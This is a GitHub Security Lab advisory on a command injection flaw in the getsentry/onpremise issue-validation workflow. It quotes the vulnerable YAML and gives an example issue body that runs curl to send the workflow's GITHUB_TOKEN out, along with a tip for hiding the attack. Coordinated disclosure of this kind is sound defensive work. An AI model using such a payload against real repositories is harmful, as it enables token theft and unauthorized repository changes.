skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
February 3, 2021

GHSL-2021-010: Command injection in getsentry/onpremise workflow

Jaroslav Lobacevski

Coordinated Disclosure Timeline


The validate-new-issue.yml GitHub workflow is vulnerable to unauthorized modification of the base repository or secrets exfiltration.


getsentry/onpremise GitHub repository

Tested Version

The latest changeset validate-new-issue.yml to the date.


Issue: Issue body is used to format a shell command

    types: ['opened']
        GITHUB_TOKEN: ${{ github.token }}
      run: |
        # Trust users who belong to the getsentry org.
        if gh api "${{ }}" >/dev/null 2>&1; then
          echo "Skipping validation, because ${{ }} is a member of the getsentry org."
          exit 0
          echo "${{ }} is not a member of the getsentry org. 🧐"
        # Look for a template where the headings match this issue's
        echo "${{ github.event.issue.body }}" > issue-body


This vulnerability allows for arbitrary command injection into the bash script which allows for unauthorized modification of the base repository and secrets exfiltration. For example a user may create an issue with the title It doesn't work on my machine and body `curl$GITHUB_TOKEN` which will exfiltrate the repository token capable to to modify the repository to the attacker controlled server. To make the attack less visible an attacker may modify the body of the issue to Never mind my bad. and close it.


This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).


You can contact the GHSL team at, please include a reference to GHSL-2021-010 in any communication regarding this issue.